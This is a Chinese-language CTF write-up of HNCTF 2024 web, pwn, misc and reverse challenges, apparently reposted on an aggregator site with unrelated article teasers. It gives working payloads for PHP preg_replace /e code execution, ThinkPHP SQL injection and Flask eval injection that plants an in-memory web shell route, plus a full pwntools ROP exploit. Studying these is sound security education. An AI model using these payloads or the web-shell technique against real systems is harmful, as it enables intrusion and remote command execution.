【2024】HNCTF

news2024/12/26 22:06:30

Web

Please_RCE_Me

Screenshot 2024-05-12 131227.png

	GET传参输入?moran=flag,之后获取源码:
<?php
if($_GET['moran'] === 'flag'){
    highlight_file(__FILE__);
    if(isset($_POST['task'])&&isset($_POST['flag'])){
        $str1 = $_POST['task'];
        $str2 = $_POST['flag'];
        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
            die('hacker!');
        }else{
            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
        }
    }
}else{
    echo "moran want a flag.</br>(?moran=flag)";
}
	这个是RCE吗?

	审一审。成功找到了漏洞点,preg_replace("/please_give_me_flag/ei",![](https://www.yuque.com/api/services/graph/generate_redirect/latex?_POST%5B'task'%5D%2C#card=math&code=_POST%5B%27task%27%5D%2C&id=o3Kvv)_POST['flag']);可以看到,存在/e模式,再看看PHP版本,5.6.40,可能存在/e的命令执行漏洞。

	前面,需要绕的Waf第一个为:

preg_match(‘/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i’,$str1)

	这个绕过先放放,看看后面两个:

strlen(str2) != 19 || preg_match(‘/please_give_me_flag/’,str2)

	因为都是逻辑或,所以得让他们都为False,刚好,please_give_me_flag 长度为19,第二个正则刚好是大小写敏感,所以大小写混合绕过。

	然后就是补充下关于/e模式的问题:

preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行

	最后尝试下phpinfo:
//POST传参
flag=Please_give_me_flag&task=phpinfo()

Screenshot 2024-05-12 132313.png

	成功打出组合拳。

	再回头看看第一个过滤,看上去几乎把所有的shell函数都过滤了。推测flag在根目录,那么学着使用无参数RCE的方式打这套组合拳,payload如下:

flag=Please_give_me_flag&task=chdir(“/”)|highlight_file(scandir(pos(localeconv()))[7])

最后得到flag

Screenshot 2024-05-12 132839.png

ez_tp(复现)

看起来像是thinkphp的题,不过,是非预期的题,用平常的payload一把梭怕是不对,所以,还能怎么搞?下在附件下来审审吧。
在附件/ez_tp/App/Home/Controller中存在IndexController.class.php文件,打开看看:
这应该是一个路由吧:

public function h_n()

路由应该是h_n,那么,应该怎么打呢?不知道为啥,复现的时候日志找不到了,看dalao们的wp的时候,都说的是根据后台的日志有payload,但是现在跑去找又找不到了。
继续往后面审计,发现了如下代码

$name = I('GET.name');

好,知道了需要通过get传参,还是GET传参。

$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
            $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
            $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
            $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
            $vpattern = explode("|", $pattern);
            $bool = false;
            foreach ($input as $k => $v) {
                foreach ($vpattern as $value) {
                    foreach ($v as $kk => $vv) {
                        if (preg_match("/$value/i", $vv)) {
                            $bool = true;
                            break;
                        }
                    }
                    if ($bool) break;
                }
                if ($bool) break;
            }
            return $bool;

这里大概审一下就是,检测所有的键值对中,是否存在黑名单字段,所以,我们传入的参数键值对都不能出现黑名单字段,因此,文件包含和RCE没法打,再看看下面的这段代码:

if (waf()){
            $this->index();
        }else{
            $ret = $User->field('username,age')->where(array('username'=>$name))->select();
            echo var_export($ret, true);
        }

猜测应该这儿应该有个sql注入存在,并且没有过滤select,所以,根据thinkphp的以前的payload,以及大佬的wp中说的日志中的信息,可以得知payload为:

/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

最后得到了flag: array ( 0 => array ( ‘username’ => ‘1’, ‘age’ => ‘H&NCTF{Cjp_6c3114ee-23e1-459b-ad88-9b29ccfde934}’, ), )

ezFlask(复现)

题目没出flask,但是好在了解了一个新的flask的ssti的姿势,记录在这儿,不知道为啥,跟着wp复现,却还是失败了,先记录吧,之后再改。
首先,打开网页就给了个提示:
:::info
冒险即将开始!!! 请移步/Adventure路由进行命令执行,后端语句为: cmd = request.form[‘cmd’] eval(cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag 执行无回显,目录没权限部分命令ban,也不要想着写文件~
:::

失败情况:

大概跟他提示的一样,就是一个命令执行,不过没思路,很可惜,看了下wp,说的是写入内存马到一个路由里,但是我复现却失败了,不知是为何,他给的内存马的payload能成功写入,并且能访问到写入的路由,但是,却会报500错误,不知是为何,等官方wp出了再看看是为啥吧,payload先写在下面。

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

成功情况:

找到了另一个payload,同样是内存马,payload如下:

cmd=app.add_url_rule('/test','test',lambda:__import__('os').popen(request.args.get('cmd')).read())

之后访问/test?cmd=cat+/flag成功出flag:flag{42ae8a8b-4f88-4c45-a162-bd1881da16ea}。

Pwn:

close

	逆天题目,纯牛马出题人,想暴打。

	拿到题目第一件事儿是检查保护,这个题保护也就那样,PIE加NX。
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
	反编译看看:
int __fastcall main(int argc, const char **argv, const char **envp)
{
  puts("**********************************");
  puts("*     Welcome to the H&NCTF!     *");
  puts("**********************************");
  puts("*             *****              *");
  puts("*            *     *             *");
  puts("*           *  o o  *            *");
  puts("*          *    v    *           *");
  puts("*         *  *     *  *          *");
  puts("*         * * * * * * *          *");
  puts("**********************************");
  puts("*      Do you know close?        *");
  puts("**********************************");
  close(1);
  system("/bin/sh");
  return 0;
}
	这题目什么玩意儿?关闭了标准输出流还玩儿毛线?

	算了,老老实实干就完了。经过长时间查找资料,最后找到了做法。
root@g01den-virtual-machine:/mnt/shared# nc hnctf.imxbt.cn 35345
ls
ls: write error: Bad file descriptor
exec 1>&0
cat flag
H-NCTF{8d409dad-4b2f-4687-9f17-8b450a76946c}
	心中暗暗暴打出题人两分钟泄愤。    (* ̄︿ ̄)

ez_pwn(复现,exp是大佬的,有时间自己再写个exp)

看到这个题,我突然觉得我是个执杖,我还以为是出题人故意搞我心态,结果是我学艺不精的缘故,好吧,我的问题,没看出来,我摊牌了,我是个XX。
好吧,老样子,Ubuntu启动!!!
还是先查看保护:

root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

然后IDA反编译,漏洞函数为:

int vul()
{
  char s[40]; // [esp+0h] [ebp-2Ch] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

发现了点东西,就是,这里存在一些问题,就是,read函数读取的数据为48字节,但是,经过动态调试得出的缓冲区s的大小为44字节,好好好,IDA你又得记大过了。
之后,第一次不需要溢出,将缓冲区全部写满即可,因为存在%s这个格式串配合printf函数,所以,能够直接把rbp的值给打印出来,所以只需要接收之后,就可以拿到rbp的值了,然后,通过动态调试得到的rbp的地址与缓冲区buf的地址,就可以拿到字符串的地址了。
Screenshot 2024-05-14 234816.png
Screenshot 2024-05-14 234826.png
接收到了rbp的值之后,减去56就可以得到字符串的地址了。
之后则是需要通过栈调用read函数,向bss段写入sh;(这里我没弄懂为啥不能直接传/bin/sh,而是要传sh;进去),之后重新调用main函数重新运行程序,不过,到了这里之后会出一点问题,那就是,第二次进入main之后,栈的布局会发生变化,重新进入vul函数之后,里面的指针指向的是vul函数内的字符串,而不是之前那个,所以这里需要重新进行一次字符串地址的泄露,之后才能对栈进行布局来调用system函数。
大佬的exp如下:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.yuanshen.life"
PORT = 33070

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

最后得到flag:H&NCTF{06b0540d-df19-4b49-9e63-fb7b8b67f8f9}

Misc:

ManCraft - 娱乐题:

	一个我的世界的服务器,下载1.20.4版本之后进入服务器,根据提示,先绑定队伍的token,之后迅速发育,然后勾引金甲僵尸,也就是劳大,把它勾引到陷阱里杀死,然后就能够拿到一个key,之后用这个key就能拿到flag。

Screenshot 2024-05-12 155018.pngScreenshot 2024-05-12 155005.png

osint(复现):

onist.png
onist.png
溯源的题,一张图片,光是图片来看,似乎只有两种可能,起飞或者降落,又因为题目要求我们输入目的地,所以,如果是难度不高的话,这儿应该是目的地。
检查图片属性,发现这张照片最后依次的修改时间是4月23日下午3点多,这张照片很明显是晚上拍摄的,所以,照例来说,这张图应该是在之前的晚上拍摄的,所以,先从4月22日晚上到23日凌晨的航班来看。
另外,根据机翼上红色的那个红色的图,在网上找到了应该是海南航空的飞机,且左边数字,有个22,大概推测注册号是X-22XX,左边的字母,好像是根据国家不同定的,中国的是B。
之后,搜索注册号为B-22,能够知道有几个:
Screenshot 2024-05-14 230753.png
之后,通过搜索4月22日晚上到4月23日凌晨那段时间的海南航空的飞机,大致可以得到航班号为HU7006。
拿到了航班之后,通过航班和时间搜索,能搜到起始地和目的地,目的地是海口美兰国际机场。
最后,感觉运气使然,在机场附近遇到个有点眼熟的路的弧度,抱着试一试的想法,把地址写上去,结果正确了:
Screenshot 2024-05-14 231654.png
最后flag:H-NCTF{ae53219d0966}

Re

最喜欢的逆向题

签到题
v1=a1[5]=105
64位
image.png
image.png

image.png

hnwna

image.png
一个CSharp写的小游戏
方法一:
用ILSPY打开下面的文件
image.png
搜索找到关键函数了(一开始搜索区域不对,导致找不到关键函数)
image.png

函数a为凯撒,if判断那里移位为5
image.png
加密

image.png
方法二:dnspy,类似于破解

DO YOU KNOW SWDD?(wait)

32位打开ida,出现SMC。
image.png
动态调试
image.png
在导入表中有virtualprotect函数,这里对内存权限进行了修改,大概率是SMC。
image.png
看41127B函数(断点位置下错了,照着wp都能错,服了)

image.png
看4113D9
image.png
image.png
p然后f5
image.png
可知是凯撒移位10位
image.png

childmaze

image.png
迷宫问题
方法一:静态分析
找到关键数据部分(不易找到),交叉引用

s = "H'L@PC}Ci625`hG2]3bZK4{1~"

for i in range(len(s)):
    print(chr(ord(s[i]) ^ (i % 7)), end="")

方法二:调试
在判断跳转的时候下个断点修改zf标识符或者改为jnz都能实现直接输出flag
emmIDA 版本问题吧,识别不出rust。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1698073.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C#】未能加载文件或程序集“CefSharp.Core.Runtime.dll”或它的某一个依赖项。找不到指定的模块。

欢迎来到《小5讲堂》 这是《C#》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 背景错误提示分析原因解决方法Chromium知识点相关文章 背景 最近在使…

RabbitMQ-默认读、写方式介绍

1、RabbitMQ简介 rabbitmq是一个开源的消息中间件&#xff0c;主要有以下用途&#xff0c;分别是&#xff1a; 应用解耦&#xff1a;通过使用RabbitMQ&#xff0c;不同的应用程序之间可以通过消息进行通信&#xff0c;从而降低应用程序之间的直接依赖性&#xff0c;提高系统的…

有什么普通人可以做的赚钱软件?盘点9个适合普通人长期做的软件

在这个互联网高速发展的时代&#xff0c;智能手机已经成为我们生活中不可分割的一部分。众多APP的涌现&#xff0c;使得许多朋友都在寻求通过手机赚钱的方法。 然而&#xff0c;面对市面上琳琅满目的网上赚钱APP&#xff0c;我们该如何挑选呢&#xff1f;别担心&#xff0c;今…

python web自动化(验证码处理)

1.解决验证码问题的常⻅⼏种⽅式 1&#xff09; Debug模式启动浏览器&#xff08;浏览器复⽤&#xff09;&#xff1a; 原理&#xff1a;浏览器是有缓存记录的&#xff0c;只需要 沿⽤已经保存有登录记录的浏览器 进⾏后续的操作就⾏ 2&#xff09;识别法&#xff1a; 原理…

pycharm中,出现SyntaxError: Non-ASCII character ‘\xe4‘ in file... 的问题以及解决方法

文章目录 一、问题描述二、解决方法 一、问题描述 在pycharm中&#xff0c;使用python中编写中文字符时&#xff0c;会提示如下错误信息&#xff1a; SyntaxError: Non-ASCII character \xe4 in file ...... on line 8, but no encoding declared; see http://python.org/dev…

网上比较受认可的赚钱软件有哪些?众多兼职选择中总有一个适合你

在这个互联网高速发展的时代&#xff0c;网上赚钱似乎成了一种潮流。但是&#xff0c;你是否还在靠运气寻找赚钱的机会&#xff1f;是否还在为找不到靠谱的兼职平台而苦恼&#xff1f; 今天&#xff0c;就为你揭秘那些真正靠谱的网上赚钱平台&#xff0c;让你的赚钱之路不再迷…

MySQL--InnoDB体系结构

目录 一、物理存储结构 二、表空间 1.数据表空间介绍 2.数据表空间迁移 3.共享表空间 4.临时表空间 5.undo表空间 三、InnoDB内存结构 1.innodb_buffer_pool 2.innodb_log_buffer 四、InnoDB 8.0结构图例 五、InnoDB重要参数 1.redo log刷新磁盘策略 2.刷盘方式&…

S1E45:单链表1 课后作业

测试题&#xff1a;0. 相比起数组来说&#xff0c;单链表具有哪些优势呢&#xff1f; 答&#xff1a;长度非固定&#xff0c;可以申请添加长度 答案&#xff1a;对于数组来说&#xff0c;随机插入或者删除其中间的某一个元素&#xff0c;都是需要大量的移动操作&#xff0c;而…

基于tcp实现自定义应用层协议

认识协议 协议&#xff08;Protocol&#xff09; 是一种通信规则或标准&#xff0c;用于定义通信双方或多方之间如何交互和传输数据。在计算机网络和通信系统中&#xff0c;协议规定了通信实体之间信息交换的格式、顺序、定时以及有关同步等事宜的约定。简易来说协议就是通信…

网络工程师---第三十八天

ISIS&#xff1a; ISIS含义&#xff1a;中间系统到中间系统IS-IS。 ISIS特点&#xff1a;①内部网关协议IGP&#xff08;Interior Gateway Protocol&#xff09;&#xff0c;用于自治系统内部&#xff1b; ②IS-IS也是一种链路状态协议&#xff0c;使用最短路径优先SPF算法进…

电子阅览室在管理时需注意什么

关于如今的绝大多数人来说&#xff0c;想必都听说过“电子阅览室”这一概念。它首要运用在校园中&#xff0c;给学生们供给愈加丰厚的常识储藏。它也是一个独立的局域网&#xff0c;在校园网络中作为重要的一个组成部分而存在。但是&#xff0c;一个好的电子阅览室是需求满意运…

python文件IO基础知识

目录 1.open函数打开文件 2.文件对象读写数据和关闭 3.文本文件和二进制文件的区别 4.编码和解码 读写文本文件时 读写二进制文件时 5.文件指针位置 6.文件缓存区与flush()方法 1.open函数打开文件 使用 open 函数创建一个文件对象&#xff0c;read 方法来读取数据&…

Docker学习(4):部署web项目

一、部署vue项目 在home目录下创建项目目录 将打包好的vue项目放入该目录下&#xff0c;dist是打包好的vue项目 在项目目录下&#xff0c;编辑default.conf 内容如下&#xff1a; server {listen 80;server_name localhost; # 修改为docker服务宿主机的iplocation / {r…

[JAVASE] 类和对象(六) -- 接口(续篇)

目录 一. Comparable接口 与 compareTo方法 1.1 Comparable接口 1.2 compareTo方法的重写 1.2.1 根据年龄进行比较 1.2.2 根据姓名进行比较 1.4 compareTo 方法 的使用 1.3 compareTo方法的缺点(重点) 二. Comparator接口 与 compare方法 2.1 Comparator接口 2.2 compare 方法…

使用AWR对电路进行交流仿真---以整流器仿真为例

使用AWR对电路进行交流仿真—以整流器仿真为例 生活不易&#xff0c;喵喵叹气。马上就要上班了&#xff0c;公司的ADS的版权紧缺&#xff0c;主要用的软件都是NI 的AWR&#xff0c;只能趁着现在没事做先学习一下子了&#xff0c;希望不要裁我。 本AWR专栏只是学习的小小记录而…

2024.5.25期末测试总结

成绩&#xff1a; 配置&#xff1a; 可能与实际有些出入 题目&#xff1a; 第一题&#xff1a; 代码思路&#xff1a; 一道模拟题&#xff0c;按照公式计算出sumpow(2,i)&#xff0c;判断sum>H&#xff0c;输出 代码&#xff1a; #include<bits/stdc.h> using name…

LiveGBS流媒体平台GB/T28181用户手册-基础配置:信令服务配置、流媒体服务配置、白名单、黑名单、更多配置

LiveGBS流媒体平台GB/T28181用户手册-基础配置:信令服务配置、流媒体服务配置、白名单、黑名单、更多配置 1、基础配置1.1、信令服务配置1.2、白名单1.3、黑名单1.4、流媒体服务配置 2、搭建GB28181视频直播平台 1、基础配置 LiveGBS相关信令服务配置和流媒体服务配置都在这里…

Spark运行模式详解

Spark概述 Spark 可以在多种不同的运行模式下执行&#xff0c;每种模式都有其自身的特点和适用场景。 部署Spark集群大体上分为两种模式&#xff1a;单机模式与集群模式。大多数分布式框架都支持单机模式&#xff0c;方便开发者调试框架的运行环境。但是在生产环境中&#xff…

机器人支持回调接口配置(详细教程)

大家伙&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号&#xff1a;雄雄的小课堂。 一、前言 今天&#xff0c;给大家介绍一下&#xff0c;如何在机器人中配置回调地址和接口编写。很多时候我们可能有这样的场景&#xff0c;收到消息后&#xff0c;想自己处理一下消息的内…

【微服务】springboot 构建镜像多种模式使用详解

目录 一、前言 二、微服务常用的镜像构建方案 3.1 使用Dockerfile 3.2 使用docker plugin插件 3.3 使用docker compose 编排文件 三、环境准备 3.1 服务器 3.2 安装JDK环境 3.2.1 创建目录 3.2.2 下载安装包 3.2.3 配置环境变量 2.2.4 查看java版本 3.3 安装maven …